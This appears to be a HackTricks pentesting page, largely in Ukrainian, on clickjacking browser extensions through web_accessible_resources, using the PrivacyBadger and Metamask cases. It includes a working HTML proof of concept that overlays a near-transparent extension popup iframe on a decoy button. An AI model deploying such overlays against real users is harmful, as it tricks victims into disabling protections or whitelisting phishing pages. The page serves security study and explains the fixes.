hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

9.1 KiB
Raw Blame History

BrowExt - ClickJacking

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Основна інформація

Ця сторінка буде зловживати вразливістю ClickJacking у розширенні браузера.
Якщо ви не знаєте, що таке ClickJacking, перевірте:

{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}

Розширення містить файл manifest.json і цей JSON файл має поле web_accessible_resources. Ось що кажуть документи Chrome:

Ці ресурси будуть доступні на веб-сторінці через URL chrome-extension://[PACKAGE ID]/[PATH], який можна згенерувати за допомогою extension.getURL method. Ресурси, що дозволені, подаються з відповідними заголовками CORS, тому вони доступні через механізми, такі як XHR.1

web_accessible_resources у розширенні браузера доступні не лише через веб; вони також працюють з вбудованими привілеями розширення. Це означає, що вони мають можливість:

  • Змінювати стан розширення
  • Завантажувати додаткові ресурси
  • Взаємодіяти з браузером до певної міри

Однак ця функція представляє собою ризик безпеки. Якщо ресурс у web_accessible_resources має будь-яку значну функціональність, зловмисник може потенційно вбудувати цей ресурс у зовнішню веб-сторінку. Непідозрюючі користувачі, які відвідують цю сторінку, можуть ненавмисно активувати цей вбудований ресурс. Така активація може призвести до непередбачуваних наслідків, залежно від дозволів і можливостей ресурсів розширення.

Приклад PrivacyBadger

У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія skin/ була оголошена як web_accessible_resources наступним чином (перевірте оригінальний блог-пост):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Ця конфігурація призвела до потенційної проблеми безпеки. Зокрема, файл skin/popup.html, який відображається при взаємодії з іконкою PrivacyBadger у браузері, може бути вбудований в iframe. Це вбудовування може бути використане для обману користувачів, змушуючи їх випадково натискати на "Вимкнути PrivacyBadger для цього веб-сайту". Така дія порушить конфіденційність користувача, вимкнувши захист PrivacyBadger і потенційно піддаючи користувача підвищеному відстеженню. Візуальну демонстрацію цього експлойту можна переглянути у відео прикладі ClickJacking, наданому за посиланням https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Щоб усунути цю вразливість, було реалізовано просте рішення: видалення /skin/* зі списку web_accessible_resources. Ця зміна ефективно зменшила ризик, забезпечивши, що вміст каталогу skin/ не може бути доступний або маніпульований через веб-доступні ресурси.

Виправлення було простим: видалити /skin/* зі списку web_accessible_resources.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Example

A блог пост про ClickJacking у metamask можна знайти тут. У цьому випадку Metamask виправив вразливість, перевіряючи, що протокол, використаний для доступу, був https: або http: (не chrome:, наприклад):

Ще один ClickJacking, виправлений у розширенні Metamask, полягав у тому, що користувачі могли Click to whitelist, коли сторінка підозрювалася у фішингу через “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Оскільки ця сторінка була вразливою до Clickjacking, зловмисник міг зловживати нею, показуючи щось нормальне, щоб змусити жертву натиснути для внесення до білого списку, не помічаючи цього, а потім повернутися на сторінку фішингу, яка буде внесена до білого списку.

Steam Inventory Helper Example

Check the following page to check how a XSS in a browser extension was chained with a ClickJacking vulnerability:

{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}